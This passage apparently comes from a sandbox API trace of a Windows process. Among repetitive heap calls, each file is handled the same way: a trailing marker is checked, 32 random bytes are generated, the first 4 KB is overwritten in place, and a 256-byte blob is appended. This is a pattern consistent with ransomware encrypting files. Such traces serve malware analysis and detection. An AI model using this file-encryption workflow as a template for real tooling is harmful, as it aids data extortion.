GetProcessHeap () returned 0x540000 [0080.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.045] GetProcessHeap () returned 0x540000 [0080.046] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0080.046] GetProcessHeap () returned 0x540000 [0080.046] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0080.046] GetProcessHeap () returned 0x540000 [0080.047] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0080.047] GetProcessHeap () returned 0x540000 [0080.047] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0080.047] GetProcessHeap () returned 0x540000 [0080.047] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.047] GetProcessHeap () returned 0x540000 [0080.047] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0080.047] GetProcessHeap () returned 0x540000 [0080.047] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.047] GetProcessHeap () returned 0x540000 [0080.047] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.047] GetProcessHeap () returned 0x540000 [0080.047] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.047] GetProcessHeap () returned 0x540000 [0080.047] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.047] GetProcessHeap () returned 0x540000 [0080.047] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.047] GetProcessHeap () returned 0x540000 [0080.047] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.047] GetProcessHeap () returned 0x540000 [0080.047] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.047] GetProcessHeap () returned 0x540000 [0080.047] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.047] GetProcessHeap () returned 0x540000 [0080.047] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.047] GetProcessHeap () returned 0x540000 [0080.047] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.047] GetProcessHeap () returned 0x540000 [0080.047] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.047] GetProcessHeap () returned 0x540000 [0080.047] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.048] GetProcessHeap () returned 0x540000 [0080.048] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.048] GetProcessHeap () returned 0x540000 [0080.048] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.048] GetProcessHeap () returned 0x540000 [0080.048] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.048] GetProcessHeap () returned 0x540000 [0080.048] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.048] GetProcessHeap () returned 0x540000 [0080.048] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.048] GetProcessHeap () returned 0x540000 [0080.048] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.048] GetProcessHeap () returned 0x540000 [0080.048] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.048] GetProcessHeap () returned 0x540000 [0080.048] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.048] GetProcessHeap () returned 0x540000 [0080.048] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.048] GetProcessHeap () returned 0x540000 [0080.048] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.048] GetProcessHeap () returned 0x540000 [0080.048] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.048] GetProcessHeap () returned 0x540000 [0080.048] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.048] GetProcessHeap () returned 0x540000 [0080.048] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0080.048] GetProcessHeap () returned 0x540000 [0080.048] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.048] GetProcessHeap () returned 0x540000 [0080.048] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0080.048] GetProcessHeap () returned 0x540000 [0080.048] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0080.049] GetProcessHeap () returned 0x540000 [0080.049] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.049] GetProcessHeap () returned 0x540000 [0080.049] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0080.049] SetFilePointerEx (in: hFile=0x7cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.049] WriteFile (in: hFile=0x7cc, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0080.049] WriteFile (in: hFile=0x7cc, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0080.049] GetProcessHeap () returned 0x540000 [0080.049] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0080.049] GetProcessHeap () returned 0x540000 [0080.049] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0080.049] GetProcessHeap () returned 0x540000 [0080.049] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0080.049] CloseHandle (hObject=0x7cc) returned 1 [0080.265] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 22 [0080.265] SetFilePointerEx (in: hFile=0x7d0, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.265] ReadFile (in: hFile=0x7d0, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0080.265] SetFilePointerEx (in: hFile=0x7d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.265] GetProcessHeap () returned 0x540000 [0080.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0080.265] GetProcessHeap () returned 0x540000 [0080.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0080.265] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0080.265] GetProcessHeap () returned 0x540000 [0080.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0080.266] ReadFile (in: hFile=0x7d0, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0080.314] SetFilePointerEx (in: hFile=0x7d0, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.314] WriteFile (in: hFile=0x7d0, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0080.315] GetProcessHeap () returned 0x540000 [0080.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0080.315] GetProcessHeap () returned 0x540000 [0080.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.315] GetProcessHeap () returned 0x540000 [0080.315] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0080.315] GetProcessHeap () returned 0x540000 [0080.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.315] GetProcessHeap () returned 0x540000 [0080.315] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0080.315] GetProcessHeap () returned 0x540000 [0080.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.315] GetProcessHeap () returned 0x540000 [0080.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.315] GetProcessHeap () returned 0x540000 [0080.315] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.315] GetProcessHeap () returned 0x540000 [0080.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.315] GetProcessHeap () returned 0x540000 [0080.315] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.315] GetProcessHeap () returned 0x540000 [0080.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.315] GetProcessHeap () returned 0x540000 [0080.315] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.315] GetProcessHeap () returned 0x540000 [0080.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.315] GetProcessHeap () returned 0x540000 [0080.315] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.315] GetProcessHeap () returned 0x540000 [0080.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.315] GetProcessHeap () returned 0x540000 [0080.315] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.315] GetProcessHeap () returned 0x540000 [0080.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.316] GetProcessHeap () returned 0x540000 [0080.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.316] GetProcessHeap () returned 0x540000 [0080.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.316] GetProcessHeap () returned 0x540000 [0080.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.316] GetProcessHeap () returned 0x540000 [0080.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.316] GetProcessHeap () returned 0x540000 [0080.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.316] GetProcessHeap () returned 0x540000 [0080.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.316] GetProcessHeap () returned 0x540000 [0080.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.316] GetProcessHeap () returned 0x540000 [0080.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.316] GetProcessHeap () returned 0x540000 [0080.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.316] GetProcessHeap () returned 0x540000 [0080.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.316] GetProcessHeap () returned 0x540000 [0080.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.316] GetProcessHeap () returned 0x540000 [0080.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.316] GetProcessHeap () returned 0x540000 [0080.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.316] GetProcessHeap () returned 0x540000 [0080.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.316] GetProcessHeap () returned 0x540000 [0080.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.316] GetProcessHeap () returned 0x540000 [0080.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.316] GetProcessHeap () returned 0x540000 [0080.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.316] GetProcessHeap () returned 0x540000 [0080.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.316] GetProcessHeap () returned 0x540000 [0080.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.317] GetProcessHeap () returned 0x540000 [0080.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.317] GetProcessHeap () returned 0x540000 [0080.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.317] GetProcessHeap () returned 0x540000 [0080.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0080.317] GetProcessHeap () returned 0x540000 [0080.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.317] GetProcessHeap () returned 0x540000 [0080.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0080.317] GetProcessHeap () returned 0x540000 [0080.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0080.317] GetProcessHeap () returned 0x540000 [0080.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0080.317] GetProcessHeap () returned 0x540000 [0080.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0080.317] GetProcessHeap () returned 0x540000 [0080.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0080.317] GetProcessHeap () returned 0x540000 [0080.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0080.317] GetProcessHeap () returned 0x540000 [0080.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.317] GetProcessHeap () returned 0x540000 [0080.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0080.317] GetProcessHeap () returned 0x540000 [0080.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.317] GetProcessHeap () returned 0x540000 [0080.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.317] GetProcessHeap () returned 0x540000 [0080.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.317] GetProcessHeap () returned 0x540000 [0080.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.318] GetProcessHeap () returned 0x540000 [0080.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.318] GetProcessHeap () returned 0x540000 [0080.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.318] GetProcessHeap () returned 0x540000 [0080.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.318] GetProcessHeap () returned 0x540000 [0080.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.318] GetProcessHeap () returned 0x540000 [0080.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.318] GetProcessHeap () returned 0x540000 [0080.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.318] GetProcessHeap () returned 0x540000 [0080.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.318] GetProcessHeap () returned 0x540000 [0080.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.318] GetProcessHeap () returned 0x540000 [0080.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.318] GetProcessHeap () returned 0x540000 [0080.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.318] GetProcessHeap () returned 0x540000 [0080.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.318] GetProcessHeap () returned 0x540000 [0080.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.318] GetProcessHeap () returned 0x540000 [0080.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.318] GetProcessHeap () returned 0x540000 [0080.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.319] GetProcessHeap () returned 0x540000 [0080.319] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.319] GetProcessHeap () returned 0x540000 [0080.319] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.319] GetProcessHeap () returned 0x540000 [0080.319] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.319] GetProcessHeap () returned 0x540000 [0080.319] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.319] GetProcessHeap () returned 0x540000 [0080.319] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.319] GetProcessHeap () returned 0x540000 [0080.319] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.319] GetProcessHeap () returned 0x540000 [0080.319] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0080.319] GetProcessHeap () returned 0x540000 [0080.319] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.319] GetProcessHeap () returned 0x540000 [0080.319] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0080.319] GetProcessHeap () returned 0x540000 [0080.319] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0080.319] GetProcessHeap () returned 0x540000 [0080.319] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.319] GetProcessHeap () returned 0x540000 [0080.319] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0080.319] SetFilePointerEx (in: hFile=0x7d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.319] WriteFile (in: hFile=0x7d0, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0080.320] WriteFile (in: hFile=0x7d0, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0080.320] GetProcessHeap () returned 0x540000 [0080.320] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0080.320] GetProcessHeap () returned 0x540000 [0080.320] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0080.320] GetProcessHeap () returned 0x540000 [0080.320] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0080.320] CloseHandle (hObject=0x7d0) returned 1 [0080.321] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 23 [0080.321] SetFilePointerEx (in: hFile=0x7d4, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.321] ReadFile (in: hFile=0x7d4, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0080.321] SetFilePointerEx (in: hFile=0x7d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.321] GetProcessHeap () returned 0x540000 [0080.321] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0080.322] GetProcessHeap () returned 0x540000 [0080.322] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0080.322] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0080.322] GetProcessHeap () returned 0x540000 [0080.322] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0080.322] ReadFile (in: hFile=0x7d4, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, 